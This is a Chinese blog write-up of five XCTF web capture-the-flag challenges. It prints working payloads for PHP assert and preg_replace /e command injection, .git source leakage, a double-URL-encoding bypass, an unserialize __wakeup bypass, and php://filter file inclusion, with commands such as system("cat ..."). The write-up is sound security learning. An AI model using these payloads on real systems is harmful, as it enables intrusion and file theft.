Lemon's blog

XCTF(攻防世界)—进阶web题Write Up(二)

Record my learning process of CTF.

字数统计: 1.5k阅读时长: 5 min
2019/09/05 Share

前言:继续总结学到的新知识

mfw

在这里插入图片描述
在about页面发现,搭建网站时用了git,尝试一下是否为git源码泄露
在这里插入图片描述
输入:

1
http://111.198.29.45:36544/.git/

在这里插入图片描述
果然是源码泄露,那就查看一下文件,发现并没有找到flag,在Github上下载git源码泄露工具,可以得到其源码。

输入相应的命令:

1
python2 GitHack.py http://111.198.29.45:36544/.git/

在这里插入图片描述

得到源码,发现并没有flag
在这里插入图片描述
查看index.php发现
在这里插入图片描述
并没有对GET进去的参数进行过滤,assert函数中参数为表达式可以当作PHP文件来执行,再了解一下以下这两个函数:

1
2
strpos() 函数查找字符串在另一字符串中第一次出现的位置。
file_exists() 函数检查文件或目录是否存在

有了assert函数,又没有过滤,可以用system()函数进行查看文件等

1
?page=flag '.system("ls").'

在这里插入图片描述
查看templates

1
?page=flag '.system("cd templates;ls").'

在这里插入图片描述
最后查看flag.php

1
?page=flag '.system("cat templates/flag.php").'

在这里插入图片描述
在源码中即可发现flag

注意:

1
system("") 中命令使用双引号

NaNNaNNaNNaN-Batman

下载附件,打开文件发现乱码
在这里插入图片描述
不过还是能看到<script>等标签的,后缀名改为html
在这里插入图片描述
观察了还是没有什么头绪,继续看文件源代码
在这里插入图片描述
发现在文件最后有一个eval()函数,改成可以弹窗的alert()函数将脚本文件通过弹窗显示出来

1
eval() 函数计算 JavaScript 字符串,并把它作为脚本代码来执行

在这里插入图片描述
整理好
在这里插入图片描述
观察源码,只要满足代码中的正则表达式即可

1
2
^ 	匹配输入字符串的开始位置
$ 匹配输入字符串的结尾位置

又限制了e的长度,^$必须匹配到,所以可以构造

1
e=be0f23233ace98aa

还有一种方法利用控制台直接执行下面的代码
在这里插入图片描述
即可得出flag

PHP2

在这里插入图片描述
什么也没有,抓包,御剑扫
在这里插入图片描述
发现index.php,但是打开还是这个页面,那就试一下index.phps,发现有源码泄露
在这里插入图片描述
这里解释一下.phps文件

phps文件就是php的源代码文件,通常用于提供给用户(访问者)查看php代码,因为用户无法直接通过Web浏览器看到php文件的内容,所以需要用phps文件代替。

接下来分析源代码

1
2
===是恒等计算符   同时检查表达式的值与类型
==是比较运算符号 不会检查条件式的表达式的类型

第一步需要使这行代码不成立

1
if("admin"===$_GET[id])

第二步需满足这行代码成立
$_GET[id] = urldecode($_GET[id]);if($_GET[id] == "admin")

由于网站在解析输入的参数时会对非ASCII码的字符进行一次urlencode

所以构造payload时将其中一个字符urlencode两次即可
payload:

1
http://111.198.29.45:40639/index.php?id=a%2564min

即可得出flag

unserialize3

在这里插入图片描述
这个格式再加上题目,很容易就可以想到是考察反序列化的

PHP魔法函数中存在__wakeup()方法,unserialize()会检查是否存在一个__wakeup()方法。如果存在,则先会调用__wakeup()方法。

下面就来构造payload:

1
2
O:4:"xctf":1:{s:4:"flag";s:3:"111";}
#xctf后面的1即代表属性个数

发现回显结果为:

bad requests

这里是因为__wakeup()的影响,所以要绕过__wakeup,

当成员属性数目大于实际数目时可绕过wakeup方法(CVE-2016-7124)

故构造payload:

1
?code=O:4:"xctf":3:{s:4:"flag";s:3:"111";}

即可得出flag

补充:属性

类的变量成员叫做“属性”,或者叫“字段”、“特征”,在本文档统一称为“属性”。属性声明是由关键字 public,protected 或者 private 开头,然后跟一个普通的变量声明来组成。

1
2
// 正确的属性声明
public $var6 = myConstant;

ics-05

在这里插入图片描述
御剑、源码都没有什么线索,点击一下云平台设备维护中心,发现URL有变化
在这里插入图片描述

1
2
LFI漏洞的黑盒判断方法:
单纯的从URL判断的话,URL中path、dir、file、pag、page、archive、p、eng、语言文件等相关关键字眼的时候,可能存在文件包含漏洞。

所以猜测是应该是文件包含读源码,利用php://filter协议即可

1
?page=php://filter/read=convert.base64-encode/resource=index.php

在这里插入图片描述
base64解码得到index.php源码,在源码中发现关键的代码
在这里插入图片描述

1
2
3
4
5
6
$_SERVER['HTTP_X_FORWARDED_FOR'] 获取IP地址
preg_replace($pattern, $replacement, $subject)
搜索 subject 中匹配 pattern 的部分, 以 replacement 进行替换
$pattern: 要搜索的模式,可以是字符串或一个字符串数组。
$replacement: 用于替换的字符串或字符串数组。
$subject: 要搜索替换的目标字符串或字符串数组

这串代码存在一个漏洞,preg_replace函数存在命令执行漏洞
preg_replace()函数使用 /e模式,导致代码执行的问题

/e 修正符使 preg_replace() 将 replacement 参数当作 PHP 代码(在适当的逆向引用替换完之后)。提示:要确保 replacement 构成一个合法的 PHP 代码字符串,否则 PHP 会在报告在包含 preg_replace() 的行中出现语法解析错误。

所以利用这个漏洞可以执行一些命令

抓包,首先设置IP地址为127.0.01,再传入三个参数的值

1
?pat=/1234/e&rep=system("ls")&sub=1234

在这里插入图片描述
发现一个特别的文件夹s3chahahaDir,进行查看

1
?pat=/1234/e&rep=system("cd%20s3chahahaDir%26%26%20ls")&sub=1234

在这里用空格会没有变化,用%20或者+代替,%26%26&&

1
A&&B   A执行成功,然后才会执行B

在这里插入图片描述
发现flag文件,进行查看

1
?pat=/1234/e&rep=system("cd%20s3chahahaDir/flag%26%26%20ls")&sub=1234

在这里插入图片描述
使用cat命令查看flag.php

1
?pat=/1234/e&rep=system("cat%20s3chahahaDir/flag/flag.php")&sub=1234

即可得出flag
在这里插入图片描述

总结:这次就先总结到这里,下次继续总结!

CATALOG
  1. 1. mfw
  2. 2. NaNNaNNaNNaN-Batman
  3. 3. PHP2
  4. 4. unserialize3
  5. 5. ics-05